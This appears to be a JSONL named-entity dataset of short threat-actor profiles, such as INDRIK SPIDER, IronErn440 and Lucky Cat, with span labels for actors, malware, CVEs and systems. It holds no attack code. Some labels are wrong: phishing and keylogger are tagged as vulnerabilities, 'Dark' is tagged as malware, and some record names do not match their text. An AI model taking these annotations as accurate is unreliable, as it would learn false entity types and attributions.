+{"text": "INDOHAXSEC TEAM is an Indonesian group that claims to have developed a web-based version of WannaCry, asserting the ability to encrypt websites and demand Bitcoin as ransom. However, their technical capabilities remain uncertain, as creating ransomware of this scale requires significant expertise. The group's claims may be exaggerated for attention, and verified evidence is needed to assess their true capabilities.", "spans": {"THREAT_ACTOR: INDOHAXSEC TEAM": [[0, 15]], "MALWARE: WannaCry": [[92, 100]]}, "info": {"source": "apt_reports", "name": "INDOHAXSEC TEAM"}}
+{"text": "INDRIK SPIDER is a sophisticated eCrime group that has been operating Dridex since June 2014. In 2015 and 2016, Dridex was one of the most prolific eCrime banking trojans on the market and, since 2014, those efforts are thought to have netted INDRIK SPIDER millions of dollars in criminal profits. Throughout its years of operation, Dridex has received multiple updates with new modules developed and new anti-analysis features added to the malware.\nIn August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K.’s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy.", "spans": {"THREAT_ACTOR: INDRIK SPIDER": [[0, 13], [243, 256], [1069, 1082]], "MALWARE: Dridex": [[70, 76], [112, 118], [333, 339], [983, 989]], "MALWARE: BitPaymer": [[505, 514], [745, 754], [863, 872], [1019, 1028]]}, "info": {"source": "apt_reports", "name": "INDRIK SPIDER"}}
+{"text": "Dark Engine has emerged as a significant threat actor targeting industrial control systems and SCADA systems in sectors such as metallurgy and food processing. The group has conducted multiple ICS-targeted incidents, with a pronounced operational surge in June 2025. Additionally, Dark Engine is involved in a campaign that embeds fraudulent CAPTCHA prompts into legitimate WordPress sites, utilizing SEO poisoning to harvest login credentials. Reports also indicate a data leak from Dark Engine that exposed sensitive phone data in the U.S.", "spans": {"SYSTEM: WordPress": [[374, 383]], "MALWARE: Dark": [[0, 4], [281, 285], [484, 488]]}, "info": {"source": "apt_reports", "name": "Infrastructure Destruction Squad"}}
+{"text": "Infy is a group of suspected Iranian origin.\nSince early 2013, we have observed activity from a unique threat actor group, which we began to investigate based on increased activities against human right activists in the beginning of 2015. In line5with other research on the campaign, released prior to publication of this document, we have adopted the name “Infy”, which is based on labels used in the infrastructure and its two families of malware agents.\nThanks to information we have been able to collect during the course of our research, such as characteristics of the group’s malware and development cycle, our research strongly supports the claim that the Infy group is of Iranian origin and potentially connected to the Iranian state. Amongst a backdrop of other incidents, Infy became one of the most frequently observed agents for attempted malware attacks against Iranian civil society beginning in late 2014, growing in use up to the February 2016 parliamentary election in Iran. After the conclusion of the parliamentary election, the rate of attempted intrusions and new compromises through the Infy agent slowed, but did not end. The trends witnessed in reports from recipients are reinforced through telemetry provided by design failures in more recent versions of the Infy malware.", "spans": {"THREAT_ACTOR: Infy": [[0, 4], [358, 362], [663, 667], [782, 786], [1109, 1113], [1285, 1289]]}, "info": {"source": "apt_reports", "name": "Infy"}}
+{"text": "INJ3CTOR3 is a threat actor first identified in 2020, known for targeting vulnerabilities in VoIP systems, specifically CVE-2019-19006 and CVE-2021-45461. Their operations involve exploiting FreePBX vulnerabilities to deploy PHP web shells for data exfiltration and persistence. The group utilizes tools for SIP server exploitation, including brute-force scripts and authentication bypass techniques. Observations indicate a resurgence of their attack patterns, reflecting historical behaviors while adapting to current vulnerabilities.", "spans": {"CVE_ID: CVE-2019-19006": [[120, 134]], "CVE_ID: CVE-2021-45461": [[139, 153]], "THREAT_ACTOR: INJ3CTOR3": [[0, 9]], "SYSTEM: PHP": [[225, 228]], "VULNERABILITY: authentication bypass": [[367, 388]], "VULNERABILITY: brute-force": [[343, 354]]}, "info": {"source": "apt_reports", "name": "INJ3CTOR3"}}
+{"text": "IntelBroker is a threat actor known for orchestrating high-profile data breaches targeting companies like Apple, Zscaler, and Facebook Marketplace. They have a reputation for selling access to compromised systems and data on underground forums like BreachForums. IntelBroker has claimed responsibility for breaches involving government agencies such as Europol, the U.S. Department of Transportation, and the Pentagon, leaking sensitive information and classified documents. The actor has been linked to breaches at companies like Acuity, General Electric, and Home Depot, showcasing a pattern of targeting critical infrastructure and major corporations.", "spans": {"THREAT_ACTOR: IntelBroker": [[0, 11], [263, 274]], "ORGANIZATION: Apple": [[106, 111]], "ORGANIZATION: Facebook": [[126, 134]], "ORGANIZATION: Zscaler": [[113, 120]], "ORGANIZATION: Europol": [[353, 360]]}, "info": {"source": "apt_reports", "name": "IntelBroker"}}
+{"text": "Adversary group targeting diplomatic missions, governmental and military organisations, mainly in Ukraine.", "spans": {}, "info": {"source": "apt_reports", "name": "InvisiMole"}}
+{"text": "Resecurity’s research indicates that the attack on Parliament is a part of a multi-year cyberespionage campaign orchestrated by a nation-state actor whom we are calling IRIDIUM. This actor targets sensitive government, diplomatic, and military resources in the countries comprising the Five Eyes intelligence alliance (which includes Australia, Canada, New Zealand, the United Kingdom and the United States)", "spans": {"THREAT_ACTOR: IRIDIUM": [[169, 176]]}, "info": {"source": "apt_reports", "name": "IRIDIUM"}}
+{"text": "IRLeaks is a threat actor known for significant cyberattacks targeting Iranian organizations, including a major breach of SnappFood, where they exfiltrated 3TB of sensitive data from 20 million user profiles. They have also compromised data from 23 leading Iranian insurance companies, offering over 160 million records for sale. Their operations involve extortion tactics, as seen in the ransom negotiations with Tosan, and they utilize malware such as StealC for data extraction. IRLeaks communicates primarily in Persian and has been active in selling stolen data on cybercriminal marketplaces.", "spans": {"THREAT_ACTOR: IRLeaks": [[0, 7], [482, 489]]}, "info": {"source": "apt_reports", "name": "IRLeaks"}}
+{"text": "IronErn440 is a threat actor tracked by Oligo Security for orchestrating the ShadowRay 2.0 campaign, an evolution of attacks since September 2023 exploiting CVE-2023-48022, a missing authentication flaw in the Ray AI framework's Job Submission API. The actor submits malicious jobs to exposed Ray clusters (port 8265), deploying multi-stage Bash/Python payloads via GitHub/GitLab repositories like \"ironern440-group\" and \"thisisforwork440-ops\" to propagate worm-like, hijack NVIDIA GPUs for XMRig cryptomining, pivot laterally, create reverse shells, kill competing miners, limit CPU to 60%, and persist via cron jobs pulling updates every 15 minutes. Additional capabilities include DDoS via sockstress on port 3333 (targeting mining pools), region-specific malware (e.g., China checks), LLM-generated payloads, and use of tools like interact.sh for scanning over 230,500 public Ray servers; mitigations involve firewalling, authorization, and Anyscale's port checker.", "spans": {"CVE_ID: CVE-2023-48022": [[157, 171]], "THREAT_ACTOR: IronErn440": [[0, 10]], "THREAT_ACTOR: ShadowRay": [[77, 86]], "SYSTEM: Python": [[346, 352]], "SYSTEM: GitHub": [[366, 372]], "SYSTEM: GitLab": [[373, 379]], "ORGANIZATION: NVIDIA": [[475, 481]], "VULNERABILITY: DDoS": [[684, 688]]}, "info": {"source": "apt_reports", "name": "IronErn440"}}
+{"text": "IronHusky is a Chinese-based threat actor first attributed in July 2017 targeting Russian and Mongolian governments, as well as aviation companies and research institutes. Since their initial attacks ceased in 2018, they have been working on a new remote access trojan dubbed MysterySnail.", "spans": {"THREAT_ACTOR: IronHusky": [[0, 9]]}, "info": {"source": "apt_reports", "name": "IronHusky"}}
+{"text": "Iron group has developed multiple types of malware (backdoors, crypto-miners, and ransomware) for Windows, Linux and Android platforms. They have used their malware to successfully infect, at least, a few thousand victims.", "spans": {"THREAT_ACTOR: Iron group": [[0, 10]], "SYSTEM: Windows": [[98, 105]], "SYSTEM: Android": [[117, 124]], "SYSTEM: Linux": [[107, 112]]}, "info": {"source": "apt_reports", "name": "Iron Group"}}
+{"text": "ItaDuke is an actor known since 2013. It used PDF exploits for dropping malware and Twitter accounts to store C2 server urls. On 2018, an actor named DarkUniverse, which was active between 2009 to 2017, was attributed to this ItaDuke by Kaspersky.", "spans": {"THREAT_ACTOR: ItaDuke": [[0, 7], [226, 233]], "SYSTEM: Kaspersky": [[237, 246]]}, "info": {"source": "apt_reports", "name": "ItaDuke"}}
+{"text": "JabaRoot is an Algerian hacker group that has targeted Moroccan government systems, successfully exfiltrating sensitive data from the Ministry of Economic Inclusion and the National Social Security Fund (CNSS). The group has claimed responsibility for the breach, which has raised concerns among cybersecurity experts regarding its scale and impact on citizens' privacy. The motives behind the attack remain unclear, but it has been noted as one of Morocco's most significant cyber-attacks affecting multiple victims. Resecurity has identified the group's activities as part of a broader trend of APT targeting government entities in the region.", "spans": {"THREAT_ACTOR: JabaRoot": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Jabaroot"}}
+{"text": "JavaGhost is a threat actor group that has targeted cloud environments, particularly AWS, for phishing campaigns without engaging in data theft for extortion. They exploit overly permissive IAM permissions and utilize long-term access keys to gain initial access, employing the GetFederationToken API to acquire temporary credentials for console access. JavaGhost has demonstrated advanced evasion techniques, avoiding common detection methods by not using the GetCallerIdentity API call. Their activities generate detectable logging footprints in CloudTrail, allowing organizations to identify and respond to their tactics.", "spans": {"THREAT_ACTOR: JavaGhost": [[0, 9], [354, 363]], "SYSTEM: AWS": [[85, 88]], "VULNERABILITY: phishing": [[94, 102]]}, "info": {"source": "apt_reports", "name": "JavaGhost"}}
+{"text": "Wiz Threat Research identified a new variant of an ongoing malicious campaign targeting misconfigured and publicly exposed PostgreSQL servers. In the observed attack, the threat actor (tracked by Wiz as JINX-0126) abuses exposed PostgreSQL instances, configured with weak and guessable login credentials, to gain access and to deploy XMRig-C3 cryptominers. This campaign was first documented by Aqua Security, but the threat actor has since evolved, implementing defense evasion techniques such as deploying binaries with a unique hash per target and executing the miner payload filelessly—likely to evade detection by CWPP solutions that rely solely on file hash reputation.", "spans": {"THREAT_ACTOR: JINX-0126": [[203, 212]], "SYSTEM: PostgreSQL": [[123, 133], [229, 239]], "ORGANIZATION: Aqua Security": [[395, 408]], "ORGANIZATION: Wiz": [[0, 3], [196, 199]]}, "info": {"source": "apt_reports", "name": "JINX-0126"}}
+{"text": "JuiceLedger is a threat actor known for infostealing through their JuiceStealer .NET assembly. They have evolved from spreading fraudulent applications to conducting supply chain attacks, targeting PyPI contributors with phishing campaigns and typosquatting. Their malicious packages contain a code snippet that downloads and executes JuiceStealer, which has evolved to support additional browsers and Discord. Victims of JuiceLedger attacks are advised to reset passwords and report any suspicious activity to security@pypi.org.", "spans": {"EMAIL: security@pypi.org": [[511, 528]], "THREAT_ACTOR: JuiceLedger": [[0, 11], [422, 433]], "SYSTEM: .NET": [[80, 84]], "SYSTEM: Discord": [[402, 409]], "VULNERABILITY: phishing": [[221, 229]]}, "info": {"source": "apt_reports", "name": "JuiceLedger"}}
+{"text": "Kairos is an extortion group that emerged with a data-leak site on 13 November 2024, claiming attacks against six organizations, primarily in the US healthcare sector. The group is financially motivated, demanding Bitcoin payments for the secure deletion of stolen files and threatening to leak data if victims do not comply. While no specific TTPs are publicly known, common techniques among extortion groups include phishing and scanning for exposed internet-facing devices. There is a potential link to a user on a Russian-language cybercriminal forum who shares a post-exploitation script, but attribution remains uncertain.", "spans": {"THREAT_ACTOR: Kairos": [[0, 6]], "VULNERABILITY: phishing": [[418, 426]]}, "info": {"source": "apt_reports", "name": "Kairos"}}
+{"text": "Karakurt actors have employed a variety of tactics, techniques, and procedures (TTPs), creating significant challenges for defense and mitigation. Karakurt victims have not reported encryption of compromised machines or files; rather, Karakurt actors have claimed to steal data and threatened to auction it off or release it to the public unless they receive payment of the demanded ransom. Known ransom demands have ranged from $25,000 to $13,000,000 in Bitcoin, with payment deadlines typically set to expire within a week of first contact with the victim.", "spans": {"THREAT_ACTOR: Karakurt": [[0, 8], [147, 155], [235, 243]]}, "info": {"source": "apt_reports", "name": "Karakurt"}}
+{"text": "Karkadann is a threat actor that has been active since at least October 2020, targeting government bodies and news outlets in the Middle East. They have been involved in watering hole attacks, compromising high-profile websites to inject malicious JavaScript code. The group has been linked to another commercial spyware company called Candiru, suggesting they may utilize multiple spyware technologies. There are similarities in the infrastructure and tactics used by Karkadann in their campaigns.", "spans": {"THREAT_ACTOR: Karkadann": [[0, 9], [469, 478]], "VULNERABILITY: watering hole": [[170, 183]]}, "info": {"source": "apt_reports", "name": "Karkadann"}}
+{"text": "The Kasablanka group is a cyber-criminal organization that has\nspecifically targeted Russia between September and December 2022,\nusing various payloads delivered through phishing emails containing\nsocially engineered lnk files, zip packages, and executables attached to\nvirtual disk image files.", "spans": {"THREAT_ACTOR: Kasablanka": [[4, 14]], "VULNERABILITY: phishing": [[170, 178]]}, "info": {"source": "apt_reports", "name": "Kasablanka"}}
+{"text": "KAX17 is a sophisticated threat actor that has been active since at least 2017. They have operated hundreds of malicious servers within the Tor network, primarily as entry and middle points. Their main objective appears to be collecting information on Tor users and mapping their routes within the network. Despite efforts to remove their servers, KAX17 has shown resilience and continues to operate.", "spans": {"THREAT_ACTOR: KAX17": [[0, 5], [348, 353]], "TOOL: Tor": [[140, 143], [252, 255]]}, "info": {"source": "apt_reports", "name": "KAX17"}}
+{"text": "Kazu is a financially motivated ransomware group known for employing a double extortion model, targeting sectors such as healthcare and government. The group has claimed responsibility for multiple high-profile breaches, including those of Manage My Health and the Defensoría del Pueblo de Colombia, exfiltrating sensitive data through techniques like exploiting unpatched vulnerabilities and credential reuse. Kazu has demanded ransoms ranging from $60,000 to $500,000, threatening public disclosure of stolen data if payments are not made. Their operations have primarily focused on entities in Latin America, Asia, and the Middle East, with a notable presence on dark web leak sites.", "spans": {"THREAT_ACTOR: Kazu": [[0, 4], [411, 415]]}, "info": {"source": "apt_reports", "name": "Kazu"}}
+{"text": "The threat group behind EnemyBot, Keksec, is well-resourced and has the ability to update and add new capabilities to its arsenal of malware on a daily basis (see below for more detail on Keksec)", "spans": {"THREAT_ACTOR: Keksec": [[34, 40], [188, 194]], "MALWARE: EnemyBot": [[24, 32]]}, "info": {"source": "apt_reports", "name": "Keksec"}}
+{"text": "KelvinSecurity is a hacker group that has been active since at least 2015. They are known for their hacktivist and black hat activities, targeting public and private organizations globally. The group sells and leaks databases, documents, and access belonging to their victims, often on the dark web or their own platforms. They have been involved in attacks against various sectors, including telecommunications, political parties, and healthcare.", "spans": {"THREAT_ACTOR: KelvinSecurity": [[0, 14]]}, "info": {"source": "apt_reports", "name": "KelvinSecurity"}}
+{"text": "Keymous is a threat actor known for executing extensive DDoS attacks across multiple Arab countries, targeting government ministries and critical infrastructure. The group has claimed access to sensitive data, including over 300,000 records from Israel's Ministry of Education, and has engaged in reconnaissance activities against various ministries in Bahrain and other nations. Keymous employs diverse infrastructure, including compromised IoT devices and DDoS-for-hire platforms, to amplify attack bandwidth. Their operations have been characterized by a focus on politically motivated cyberattacks, particularly in the context of regional conflicts.", "spans": {"VULNERABILITY: DDoS": [[56, 60], [458, 462]]}, "info": {"source": "apt_reports", "name": "Keymous+"}}
+{"text": "A group targeting various countries using Denial of Services attacked.", "spans": {}, "info": {"source": "apt_reports", "name": "Killnet"}}
+{"text": "This threat actor targets South Korean think tanks, industry, nuclear power operators, and the Ministry of Unification for espionage purposes.", "spans": {}, "info": {"source": "apt_reports", "name": "Kimsuky"}}
+{"text": "This group started operating during the first quarter of 2022. They published samples of alleged stolen data from companies on their site on Tor. It is unclear if they conducted the attacks themselves, or if they bought leaked databases from third parties.", "spans": {"TOOL: Tor": [[141, 144]]}, "info": {"source": "apt_reports", "name": "Kinsing"}}
+{"text": "CrowdStrike identified a cryptojacking campaign targeting vulnerable Docker and Kubernetes infrastructure. Called “Kiss-a-dog,” the campaign targets Docker and Kubernetes infrastructure using an obscure domain from the payload, container escape attempt and anonymized “dog” mining pools.", "spans": {"THREAT_ACTOR: Kiss-a-dog": [[115, 125]], "SYSTEM: Docker": [[69, 75], [149, 155]], "SYSTEM: Kubernetes": [[80, 90], [160, 170]], "ORGANIZATION: CrowdStrike": [[0, 11]]}, "info": {"source": "apt_reports", "name": "Kiss-a-Dog"}}
+{"text": "KromSec is a hacktivist group that claims to be composed of hackers, activists, writers, and journalists. The group has been involved in a number of high-profile cyberattacks, including a cyber offensive against Iran in September 2022 and the sale of the database of the Iran Ministry of Industries and Mines on a hacker forum in November 2023. KromSec's attacks have been met with mixed reactions, but the group has quickly made a name for itself as a significant threat to governments and organizations around the world.", "spans": {"THREAT_ACTOR: KromSec": [[0, 7], [345, 352]]}, "info": {"source": "apt_reports", "name": "KromSec"}}
+{"text": "Krybit is a ransomware group that operates as a ransomware-as-a-service provider, offering affiliates 80% of ransom proceeds in exchange for technical support and a malware suite. The group has claimed attacks on various organizations across multiple countries, including asesoriauriel.com in Spain and fraper.com in Spain, without disclosing the volume of data exfiltrated. Krybit is currently engaged in a turf war with another group, 0APT, and has been accused of fabricating victim claims. Their leak site has been used to publish compromised data and to issue threats to rivals and victims alike.", "spans": {"DOMAIN: asesoriauriel.com": [[272, 289]], "DOMAIN: fraper.com": [[303, 313]], "THREAT_ACTOR: Krybit": [[0, 6], [375, 381]]}, "info": {"source": "apt_reports", "name": "Krybit"}}
+{"text": "LabHost is a threat actor group targeting Canadian Banks with Phishing-as-a-Service attacks. They have been observed using tools like LabRat and LabSend for real-time campaign management and SMS lures. LabHost's phishing campaigns have similarities to Frappo campaigns, but they operate separately and offer different subscription packages.", "spans": {"THREAT_ACTOR: LabHost": [[0, 7], [202, 209]], "VULNERABILITY: phishing": [[212, 220]]}, "info": {"source": "apt_reports", "name": "LabHost"}}
+{"text": "Lancefly targets government, aviation, and telecom organizations in South and Southeast Asia. They use a custom backdoor named Merdoor, developed since 2018, and employ various tactics to gain access, including phishing emails, SSH credential brute-forcing, and exploiting server vulnerabilities. Additionally, Lancefly has been observed using a newer version of the ZXShell rootkit and tools like PlugX and ShadowPad RAT, which are typically associated with Chinese-speaking APT groups.", "spans": {"THREAT_ACTOR: Lancefly": [[0, 8], [311, 319]], "TOOL: SSH": [[228, 231]], "VULNERABILITY: phishing": [[211, 219]], "VULNERABILITY: rootkit": [[375, 382]], "MALWARE: PlugX": [[398, 403]], "MALWARE: ShadowPad": [[408, 417]], "MALWARE: ZXShell": [[367, 374]]}, "info": {"source": "apt_reports", "name": "Lancefly"}}
+{"text": "An actor group conducting large-scale social engineering and extortion campaign against multiple organizations with some seeing evidence of destructive elements.", "spans": {}, "info": {"source": "apt_reports", "name": "LAPSUS"}}
+{"text": "LARVA-208 is a financially motivated threat actor employing sophisticated phishing campaigns to harvest credentials and deploy ransomware. The actor uses multiple tactics, including Open URL Redirection, fake login pages, and social engineering, to bypass MFA and gain access to corporate networks. LARVA-208 has compromised over 618 organizations since June 2024, often deploying ransomware payloads. The threat actor is linked to LARVA-148, a threat actor managing domain acquisitions and attacks.", "spans": {"THREAT_ACTOR: LARVA-208": [[0, 9], [299, 308]], "VULNERABILITY: phishing": [[74, 82]]}, "info": {"source": "apt_reports", "name": "Larva-208"}}
+{"text": "Larva-24005 is a threat actor that breaches servers in Korea to establish a web server and PHP environment for phishing attacks, primarily targeting individuals involved with North Korea and university professors researching the regime. They exploit the BlueKeep vulnerability for initial access and utilize RDPWrap and a custom keylogger post-compromise. Phishing emails are crafted to appear as legitimate communications, often containing malicious URLs or compressed files. The actor has been observed storing phishing pages in the IIS_USER account and XAMPP home folder, although traces of these pages were later deleted.", "spans": {"THREAT_ACTOR: Larva-24005": [[0, 11]], "SYSTEM: PHP": [[91, 94]], "VULNERABILITY: BlueKeep": [[254, 262]], "VULNERABILITY: keylogger": [[329, 338]], "VULNERABILITY: phishing": [[111, 119], [513, 521]]}, "info": {"source": "apt_reports", "name": "Larva-24005"}}
+{"text": "The Larva-24010 threat actor is distributing malware through the website of a Korean VPN service provider. As a result, when a user downloads and runs the installer from the VPN website, malware can be installed on the system. Since at least 2023, the Larva-24010 threat actor has been targeting Korean VPN users to spread malware, ultimately installing various backdoors such as MeshAgent, gs-netcat, and NKNShell. Through this, the attacker can control infected systems where the VPN is installed and steal sensitive information stored on those systems.", "spans": {"THREAT_ACTOR: Larva-24010": [[4, 15], [252, 263]], "SYSTEM: VPN": [[85, 88], [174, 177], [303, 306], [482, 485]]}, "info": {"source": "apt_reports", "name": "Larva-24010"}}
+{"text": "Larva-26002 targets improperly managed MS-SQL servers, exploiting vulnerabilities such as brute force and dictionary attacks. The actor has distributed Trigona and Mimic ransomware, utilizing the Bulk Copy Program for exploitation and installing remote access tools like AnyDesk and Teramind. In their attacks, they also deploy scanner malware, including ICE Cloud Client written in Go and a Rust-based scanner. After compromising systems, they execute commands to gather information about the infected environment.", "spans": {"THREAT_ACTOR: Larva-26002": [[0, 11]], "TOOL: AnyDesk": [[271, 278]], "SYSTEM: Rust": [[392, 396]], "SYSTEM: Go": [[383, 385]], "VULNERABILITY: brute force": [[90, 101]], "MALWARE: Trigona": [[152, 159]]}, "info": {"source": "apt_reports", "name": "Larva-26002"}}
+{"text": "Larva‑25012 is a threat actor known for deploying Proxyware, utilizing malware disguised as a Notepad++ installer. The actor injects Proxyware into the Windows Explorer process and employs Python-based loaders to evade detection. They distribute Proxyware installers primarily through advertisements on websites offering free YouTube video downloads and fake sites for cracked software. Larva‑25012 has been active since at least 2024, distributing multiple types of Proxyware, including DigitalPulse, Honeygain, and Infatica.", "spans": {"THREAT_ACTOR: Larva‑25012": [[0, 11], [387, 398]], "SYSTEM: Python": [[189, 195]], "SYSTEM: Windows": [[152, 159]]}, "info": {"source": "apt_reports", "name": "Larva‑25012"}}
+{"text": "Since 2009, HIDDEN COBRA actors have leveraged their capabilities to target and compromise a range of victims; some intrusions have resulted in the exfiltration of data while others have been disruptive in nature. Commercial reporting has referred to this activity as Lazarus Group and Guardians of Peace. Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware. Variants of malware and tools used by HIDDEN COBRA actors include Destover, Duuzer, and Hangman.", "spans": {"THREAT_ACTOR: Lazarus Group": [[268, 281]], "VULNERABILITY: DDoS": [[365, 369]]}, "info": {"source": "apt_reports", "name": "Lazarus Group"}}
+{"text": "Libyan Scorpions is a malware operation in use since September 2015 and operated by a politically motivated group whose main objective is intelligence gathering, spying on influentials and political figures and operate an espionage campaign within Libya.", "spans": {"THREAT_ACTOR: Libyan Scorpions": [[0, 16]]}, "info": {"source": "apt_reports", "name": "Libyan Scorpions"}}
+{"text": "Rostelecom's security team has discovered a new APT group that is breaching companies via industrial PLCs. Named Lifting Zmiy, the group's first attacks were traced back to October 2023. The group targeted PLCs from Russian company Tech-Automatics usually used with elevators and which were still using their default passwords. Rostelecom has linked the group to intrusions at a Russian government contractor, two telecom operators, and an IT company. The company says the group collected and exfiltrated data and then destroyed the victim's infrastructure. Rostelecom says Lifting Zmiy uses Starlink infrastructure for attacks and appears to operate out of Eastern Europe.", "spans": {"THREAT_ACTOR: Lifting Zmiy": [[113, 125], [574, 586]]}, "info": {"source": "apt_reports", "name": "Lifting Zmiy"}}
+{"text": "UNC1945 is an APT group that has been targeting telecommunications companies globally. They use Linux-based implants to maintain long-term access in compromised networks. UNC1945 has demonstrated advanced technical abilities, utilizing various tools and techniques to evade detection and move laterally through networks. They have also been observed targeting other industries, such as financial and professional consulting, and have been linked to other threat actors, including MustangPanada and RedDelta.", "spans": {"THREAT_ACTOR: RedDelta": [[498, 506]], "SYSTEM: Linux": [[96, 101]]}, "info": {"source": "apt_reports", "name": "LightBasin"}}
+{"text": "LilacSquid is an APT actor targeting a variety of industries worldwide since at least 2021. They use tactics such as exploiting vulnerabilities and compromised RDP credentials to gain access to victim organizations. Their post-compromise activities involve deploying MeshAgent and a customized version of QuasarRAT known as PurpleInk to maintain control over infected systems. LilacSquid has been observed using tools like Secure Socket Funneling for data exfiltration.", "spans": {"THREAT_ACTOR: LilacSquid": [[0, 10], [377, 387]], "TOOL: RDP": [[160, 163]], "TOOL: QuasarRAT": [[305, 314]]}, "info": {"source": "apt_reports", "name": "LilacSquid"}}
+{"text": "Lilac Typhoon is a threat actor attributed to China. They have been identified as exploiting the Atlassian Confluence RCE vulnerability CVE-2022-26134, which allows for remote code execution. This vulnerability has been used in cryptojacking campaigns and is included in commercial exploit frameworks. Lilac Typhoon has also been involved in deploying various payloads such as Cobalt Strike, web shells, botnets, coin miners, and ransomware.", "spans": {"CVE_ID: CVE-2022-26134": [[136, 150]], "THREAT_ACTOR: Lilac Typhoon": [[0, 13], [302, 315]], "THREAT_ACTOR: Cobalt": [[377, 383]], "TOOL: Cobalt Strike": [[377, 390]], "SYSTEM: Confluence": [[107, 117]], "SYSTEM: Atlassian Confluence": [[97, 117]], "VULNERABILITY: remote code execution": [[169, 190]], "VULNERABILITY: RCE": [[118, 121]], "VULNERABILITY: code execution": [[176, 190]]}, "info": {"source": "apt_reports", "name": "Lilac Typhoon"}}
+{"text": "LIMINAL PANDA is a China-nexus APT that targets telecommunications entities, employing custom malware and publicly available tools for covert access, C2, and data exfiltration. The adversary demonstrates extensive knowledge of telecom networks, utilizing GSM protocols to retrieve mobile subscriber information and call metadata. LIMINAL PANDA exploits trust relationships and security gaps between providers to access core infrastructure, indicating a focus on SIGINT collection rather than financial gain. Their intrusion activity has primarily affected telecom providers in southern Asia and Africa, with potential for broader targeting based on network configurations.", "spans": {"THREAT_ACTOR: LIMINAL PANDA": [[0, 13], [330, 343]]}, "info": {"source": "apt_reports", "name": "LIMINAL PANDA"}}
+{"text": "Linkc is a newly emerged ransomware group that operates an onion-based data leak site and has claimed one victim, a U.S.-based AI and cloud service provider, H2O.ai, which was attacked on January 29, 2025. The group demanded a ransom of $15 million for data decryption and removal, showcasing access to sensitive information, including GPT model source code and customer data. Linkc's DLS is well-constructed and quick to load, indicating potential for future victim listings. However, there is currently no public acknowledgment from the victim, and the group has not engaged in discussions on cybercrime forums.", "spans": {}, "info": {"source": "apt_reports", "name": "LinkC Pub"}}
+{"text": "LofyGang has been found to be linked to more than 200 malicious packages, with thousands of installations throughout 2022. The group, believed to have been operating for more than a year, has multiple hacking objectives, including stealing credit card information and stealing user accounts including Discord Inc. premium accounts, streaming services accounts such as Disney+ and Minecraft accounts.", "spans": {"THREAT_ACTOR: LofyGang": [[0, 8]], "SYSTEM: Discord": [[301, 308]]}, "info": {"source": "apt_reports", "name": "LofyGang"}}
+{"text": "Longhorn has been active since at least 2011. It has used a range of back door Trojans in addition to zero-day vulnerabilities to compromise its targets. Longhorn has infiltrated governments and internationally operating organizations, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors. All of the organizations targeted would be of interest to a nation-state attacker.  Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia, and Africa. On one occasion a computer in the United States was compromised but, following infection, an uninstaller was launched within hours, which may indicate this victim was infected unintentionally. According to cfr, this threat actor compromises governments, international organizations, academic institutions, and financial, telecommunications, energy, aerospace, information technology, and natural resource  industries for espionage purposes. Some of the tools used by this threat actor were released by Wikileaks under the name \"Vault 7.\"", "spans": {"THREAT_ACTOR: Longhorn": [[0, 8], [154, 162], [456, 464]], "VULNERABILITY: zero-day": [[102, 110]]}, "info": {"source": "apt_reports", "name": "Longhorn"}}
+{"text": "LongNosedGoblin is a China-aligned APT group targeting governmental entities in Southeast Asia and Japan for cyberespionage. The group employs Group Policy for malware deployment and utilizes cloud services like Microsoft OneDrive and Google Drive as C&C servers. Their operations feature a modular malware ecosystem, including backdoors, browser data stealers, and PowerShell-based downloaders that execute multi-stage payloads in memory. LongNosedGoblin's tactics emphasize reconnaissance-driven targeting and the abuse of trusted enterprise mechanisms, allowing for stealthy persistence within compromised networks.", "spans": {"THREAT_ACTOR: LongNosedGoblin": [[0, 15], [440, 455]], "TOOL: PowerShell": [[366, 376]], "SYSTEM: Group Policy": [[143, 155]], "ORGANIZATION: Microsoft": [[212, 221]], "ORGANIZATION: Google": [[235, 241]]}, "info": {"source": "apt_reports", "name": "LongNosedGoblin"}}
+{"text": "Lotus Blossom is a threat group that has targeted government and military organizations in Southeast Asia.", "spans": {"MALWARE: Lotus Blossom": [[0, 13]], "MALWARE: Lotus": [[0, 5]]}, "info": {"source": "apt_reports", "name": "LOTUS PANDA"}}
+{"text": "A series of attacks, targeting both Indian military research and south Asian shipping organizations, demonstrate the minimum level of effort required to successfully compromise a target and steal sensitive information. The attackers use very simple malware, which required little development time or skills, in conjunction with freely available Web hosting, to implement a highly effective attack. It is a case of the attackers obtaining a maximum return on their investment. The attack shows how an intelligent attacker does not need to be particularly technically skilled in order to steal the information they are after. The attack begins, as is often the case, with an email sent to the victim. A malicious document is attached to the email, which, when loaded, activates the malware. The attackers use tailored emails to encourage the victim to open the email. For example, one email sent to an academic claimed to be a call for papers for a conference (CFP).\nThe vast majority of the victims were based in India, with some in Malaysia. The victim industry was mostly military research and also shipping based in the Arabian and South China seas. In some instances the attackers appeared to have a clear goal, whereby specific files were retrieved from certain compromised computers. In other cases, the attackers used more of a ‘shotgun’ like approach, copying every file from a computer. Military technologies were obviously the focus of one particular attack with what appeared to be source code stolen. 45 different attacker IP addresses were observed. Out of those, 43 were within the same IP address range based in Sichuan province, China. The remaining two were based in South Korea. The pattern of attacker connections implies that the IP addresses are being used as a VPN, probably in an attempt to render the attackers anonymous.ænThe attacks have been active from at least April 2011 up to February 2012. The attackers are intelligent and focused, employing the minimum amount of work necessary for the maximum gain. They do not use zero day exploits or complicated threats, instead they rely on effective social engineering and lax security measures on the part of the victims.", "spans": {"SYSTEM: VPN": [[1782, 1785]], "VULNERABILITY: zero day": [[2049, 2057]]}, "info": {"source": "apt_reports", "name": "Lucky Cat"}}
